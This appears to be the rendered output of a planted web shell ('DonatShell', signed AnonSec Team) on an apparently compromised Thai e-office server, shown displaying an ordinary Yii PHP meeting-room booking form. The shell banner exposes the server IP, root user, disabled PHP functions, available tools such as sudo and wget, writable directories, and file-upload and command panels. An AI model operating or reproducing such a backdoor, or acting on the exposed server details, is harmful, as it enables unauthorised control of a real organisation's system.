%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,mail,shell_exec,system,proc_open,popen,ini_alter,dl,proc_close,curl_exec,curl_multi_exec,readfile,parse_ini_file,escapeshellarg,escapeshellcmd,show_source,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,mail,php_uname,phpinfo
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/eoffice/frontend/modules/bookingdata/views/default/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/eoffice/frontend/modules/bookingdata/views/default/form.php
<?php

use yii\helpers\Html;
use yii\helpers\Url;
use kartik\grid\GridView;
use backend\modules\bookingdata\models\BookingRoom;
use backend\modules\departments\models\Departments;
use yii\helpers\ArrayHelper;
use kartik\widgets\ActiveForm;
use yii\widgets\Pjax;
use dosamigos\datetimepicker\DateTimePicker;
use kartik\switchinput\SwitchInput;

$backend = Yii::getAlias('@back');

$this->title = 'ขอใช้ห้องประชุม';
?>
<div class="m-divider">
    <span></span>
    <h3 class="bg-light m--padding-20">แบบฟอร์มการ<?= Html::encode($this->title) ?></h3>
    <span></span>
</div>
<?php Pjax::begin(['id' => 'PjaxBooking']); ?>
<?php
$form = ActiveForm::begin([
            'id' => 'bookingform',
            'options' => ['enctype' => 'multipart/form-data'],
            'type' => ActiveForm::TYPE_HORIZONTAL,
            'formConfig' => [
                'labelSpan' => 4,
                'deviceSize' => ActiveForm::SIZE_SMALL
            ],
            'fieldConfig' => [
                'template' => '<div class="row">{label}{beginWrapper}{input}{error}{endWrapper}</div>',
                'errorOptions' => [
                    'encode' => false,
                    'class' => 'help-block'
                ]
            ],
        ]);
?>
<div class="row">
    <div class="col-md-12">
        <div class="m-portlet">
            <div class="m-portlet__head">
                <div class="m-portlet__head-caption">
                    <div class="m-portlet__head-title">
                        <span class="m-portlet__head-icon">
                            <i class="flaticon-avatar"></i>
                        </span>
                        <h3 class="m-portlet__head-text">
                            ข้อมูลการขอใช้ห้องประชุม
                        </h3>
                    </div>
                </div>
            </div>

            <div class="m-portlet__body">
                <div class="col-xl-8">
                    <div class="m-widget1">

                        <?=
                        $form->field($model, 'booking_department')->dropDownList(
                                ArrayHelper::map(Departments::find()->where(['NOT', ['id' => [12]]])->all(), 'id', 'name'), [
                            'prompt' => 'กรุณาเลือกหน่วยงาน',
                        ]);
                        ?>

                        <?= $form->field($model, 'name')->textInput(['maxlength' => true]) ?>

                        <?= $form->field($model, 'tel')->textInput(['maxlength' => true]) ?>

                        <?=
                        $form->field($model, 'booking_room_id')->dropDownList(
                                ArrayHelper::map(BookingRoom::find()->where(['departments' => 1])->all(), 'id', 'name'), [
                            'prompt' => 'กรุณาเลือกห้องประชุม',
                        ]);
                        ?>

                        <?=
                        $form->field($model, 'booking_date_start')->widget(DateTimePicker::classname(), [
                            'language' => 'th',
                            'size' => 'lg',
                            'template' => '{button}{input}{reset}',
                            'pickButtonIcon' => 'la la-calendar-check-o',
                            'options' => ['placeholder' => 'ระบุวันเวลาที่ขอใช้', 'readonly' => 'readonly'],
                            'inline' => false,
                            'clientOptions' => [
                                'startView' => 2,
                                'minView' => 0,
                                'maxView' => 4,
                                'autoclose' => true,
                                'linkFormat' => 'HH:ii P', // if inline = true
                                // 'format' => 'HH:ii P', // if inline = false
                                'todayBtn' => true
                            ]
                        ]);
                        ?>
                        <?=
                        $form->field($model, 'booking_date_end')->widget(DateTimePicker::classname(), [
                            'language' => 'th',
                            'size' => 'lg',
                            'template' => '{button}{input}{reset}',
                            'pickButtonIcon' => 'la la-calendar-check-o',
                            'options' => ['placeholder' => 'ระบุวันที่สิ้นสุดการขอใช้', 'readonly' => 'readonly'],
                            'inline' => false,
                            'clientOptions' => [
                                'startView' => 2,
                                'minView' => 0,
                                'maxView' => 4,
                                'autoclose' => true,
                                'linkFormat' => 'HH:ii P', // if inline = true
                                // 'format' => 'HH:ii P', // if inline = false
                                'todayBtn' => true
                            ]
                        ]);
                        ?>

                        <?= $form->field($model, 'booking_subject')->textInput(['maxlength' => true]) ?>

                        <?= $form->field($model, 'booking_detail')->textarea(['rows' => 6]) ?>
                        <?php
                        /*echo $form->field($model, 'online')->widget(SwitchInput::classname(), [
                            'type' => SwitchInput::CHECKBOX,
                            'items' => [
                                ['label' => 'Low', 'value' => 1],
                                ['label' => 'Medium', 'value' => 2],
                                ['label' => 'High', 'value' => 3],
                            ],
                            'pluginOptions' => [
                                'onText' => 'ใช้',
                                'offText' => 'ไม่ใช้',
                                'labelText' => 'Zoom Meeting, Webex, Google Meet และอื่นๆ',
                            ]
                        ]);*/
                        ?>
                        <?= $form->field($model, 'online')->checkbox([
                            'label' => 'ต้องการใช้ระบบประชุมออนไลน์ กรุณาติ๊กถูก',
                            'checked' => 1,
                            'uncheck' => 0,
                            'style' => 'width: 30px !important;height: 30px !important;vertical-align: middle;',
                        ])->label('⭐️ ระบบประชุมออนไลน์ ⭐️'); ?>
                        <p></p>
                        <?= $form->field($model, 'reCaptcha')->widget(\himiklab\yii2\recaptcha\ReCaptcha::className()) ?>
                        <?= $form->field($model, 'created_at', ['options' => ['tag' => false]])->hiddenInput()->label(false); ?>
                        <?= $form->field($model, 'updated_at', ['options' => ['tag' => false]])->hiddenInput()->label(false); ?>
                        <?= $form->field($model, 'status', ['options' => ['tag' => false]])->hiddenInput()->label(false); ?>
                        <div class="form-group">
                            <?php echo Html::submitButton('บันทึก', ['class' => 'btn btn-lg btn-block btn-success']) ?>
                        </div>
                    </div>
                </div>
                <div class="col-xl-2">
                    <div class="m-widget1"></div>
                </div>
            </div>

        </div>
    </div>
</div>
<?php ActiveForm::end(); ?>
<?php Pjax::end(); ?>

Anon7 - 2022
AnonSec Team